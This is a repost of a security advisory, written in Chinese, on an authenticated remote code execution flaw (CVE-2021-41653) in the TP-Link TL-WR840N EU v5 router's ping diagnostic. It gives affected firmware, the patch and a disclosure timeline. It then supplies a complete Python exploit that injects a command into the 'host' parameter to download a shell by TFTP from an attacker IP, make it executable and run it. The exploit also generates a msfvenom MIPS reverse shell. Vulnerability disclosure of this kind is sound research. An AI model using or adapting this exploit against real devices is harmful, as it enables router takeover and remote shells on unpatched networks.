TP-Link TL-WR840N EU v5 远程代码执行
2022-10-14 12:1:39 Author: Ots安全(查看原文) 阅读量:27 收藏

文章介绍

目标是在 TP-LINK TL-WR840N EU (V5) 路由器上实现远程代码执行。根据其文件,该版本于 2017 年问世。

型号:TP-Link TL-WR840N EU v5

注意:有更新的硬件版本 6.0 和 6.20。

易受攻击的固件版本:TL-WR840N(EU)_V5_171211 / 0.9.1 3.16 v0001.0 Build 171211 Rel.58800n

需要身份验证:是

LAN 攻击:是

POC:是

获得反向外壳:是

补丁可用:是

补充说明:

我强烈建议将固件升级到最新版本“TL-WR840N(EU)_V5_211109”。它可以从供应商主页下载。

我要感谢 TP-Link 安全团队。

我在 TPLINK TL-WR840N v4 硬件上发现了一个类似的漏洞,但它是不同的。它与Traceroute功能有关,在这种情况下可以使用 telnet。

相关的 CVE 如下:

https://nvd.nist.gov/vuln/detail/CVE-2019-15060

TPLINK TL-WR840N v6版本还有一个漏洞,该漏洞也是输入验证问题,但与诊断页面无关。

更多信息可以在这里找到:

https://nvd.nist.gov/vuln/detail/CVE-2020-36178

我用 v6.20 设备测试了这个漏洞,它没有漏洞。

技术细节

通过UART轻松root我使用我的 FT232 设备来获取设备的 root 访问权限。这个控制台在漏洞利用开发过程中非常有用。

# check serial port

screen /dev/tty.usbserial-AB0LR7NH 115200

我仅使用 UART 控制台进行调试,没有必要利用该漏洞。

漏洞利用

以下屏幕截图包含 GUI 上的相关输入参数。用户提供的输入参数未在服务器端进行清理,它用于执行 PING 命令。

注意:必须插入WAN线。路由器IP地址为192.168.1.1。

供应商使用客户端 JavaScript 保护,但可以通过代理轻松绕过它。

保护:

执行命令时,可以在串行控制台上看到确切的命令。

当然,我使用 ghidra 和其他逆向工程工具来检查发生了什么,但现在在服务器端没有对参数进行清理就足够了。

要在路由器上执行代码,必须发送以下两个请求:

注意:还有其他的请求,但它们不是实现代码执行的强制要求。

请求 1(主机参数易受攻击)

要求 2:

简单的代码执行

下图包含 /var/tmp 文件夹的内容(通过 UART)。该文件夹是可写的。

修改创建文件的host参数:

请求 1:

要求 2:

/var/tmp/k44 文件内容如下:

反壳

供应商提供的程序是有限的。对于成功的攻击,需要多个步骤。TFTP 客户端可用于将文件从攻击者复制到路由器。

注意:用户名和密码是必需的。

  1. 生成meterpreter shell(IP,PORT)

  2. 准备 TFTP 服务器

  3. 将 shell 复制到 TFTP 服务器

  4. 打开 Meterpreter 监听器

  5. 向路由器发送请求

  6. 通过 TFTP 下载 shell

  7. 执行二进制文件并连接回攻击者

代码执行的重要部分执行以下操作:

  1. 上传外壳

  2. 更改外壳的权限

  3. 执行外壳

POC + 演示

笔记:

  1. 我使用我的标准 kali vm 和 msfvenom 工具来生成反向 shell 二进制文件。架构是 MIPSLE。

  2. 我使用 atfpd 服务器作为 TFTP 服务器

使用多处理程序:

执行脚本:

反壳:

POC

#!/usr/bin/python3################################################################## tplink_TL-WR840N-EU-v5-rce-exploit_v1.py ### Version: 1.0### Author: Matek Kamillo (k4m1ll0)### Email: matek.kamillo@gmail.com### Date: 2021.09.06.##############################################################
import requestsimport osimport base64
USERNAME = "admin"PASSWORD = "admin"URL = "http://192.168.1.1/cgi"PATH = "/srv/tftp/shell"ATTACKER_IP = "192.168.1.101"COMMAND = "$(echo 127.0.0.1; tftp -g -r shell -l /var/tmp/shell " + ATTACKER_IP + "; chmod +x /var/tmp/shell; /var/tmp/shell)"
def base64_encode(s): msg_bytes = s.encode('ascii') return base64.b64encode(msg_bytes)

class Exploit(object): def __init__(self, username, password, command): self.username = username self.password = password self.command = command
self.URL = "http://192.168.1.1/cgi" self.session = requests.session() #self.proxies = { 'http' : 'http://192.168.1.100:8080'} self.proxies = { } self.cookies = { 'Authorization' : 'Basic ' + base64_encode(username + ":" + password).decode('ascii') } self.headers = { 'Content-Type': 'text/plain', 'Referer' : 'http://192.168.1.1/mainFrame.htm' }
def _prepare(self): print("Generating reverse shell.") command = "msfvenom -p linux/mipsle/shell/reverse_tcp -f elf LHOST=" + ATTACKER_IP + " LPORT=2000 -o " + PATH os.system(command)
def _send_ping_command(self): URL = self.URL + '?2' data = '[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n' data += 'dataBlockSize=64\r\n' data += 'timeout=1\r\n' data += 'numberOfRepetitions=4\r\n' data += 'host=' + self.command + '\r\n' data += 'X_TP_ConnName=ewan_ipoe_d\r\n' data += 'diagnosticsState=Requested\r\n' r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)
def _send_execute_command(self): URL = self.URL + '?7' data = '[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0\r\n' r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies) def execute(self): self._prepare() self._send_ping_command() self._send_execute_command()
if __name__ == "__main__": e = Exploit(USERNAME, PASSWORD, COMMAND) e.execute()

披露时间表

2021.09.20 – TP-Link 安全团队通知了该漏洞。

2021.09.22 – TP-Link Security 发送了响应。

2021.09.22 – 发送给 TP-Link 安全团队的技术细节。

2021.09.25 – V6.20 设备(最新固件)不易受到攻击。

2021.09.25 – 报告已更新。TP-Link 安全团队通知。

2021.09.26 – TP-Link 安全团队回复。分析正在进行中。

2021.11.01 – TP-Link 准备了两个 Beta 固件。

2021.11.01 – 该问题已在 Beta 固件中修复。(k4m1ll0)

2021.11.03 - 分配了 CVE-2021-41653 (MITRE)

2021.11.12 – TP-Link 发布补丁“TL-WR840N(EU)_V5_211109”

2021.11.12 – 已发布咨询 (k4m1ll0)


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247495807&idx=1&sn=e72348c8894b01043a290edd7b01e52d&chksm=9badb934acda302285abf1528de7639780fb1b7ed0005d12835739d1ff24faa82cceaf0e506e#rd
如有侵权请联系:admin#unsafe.sh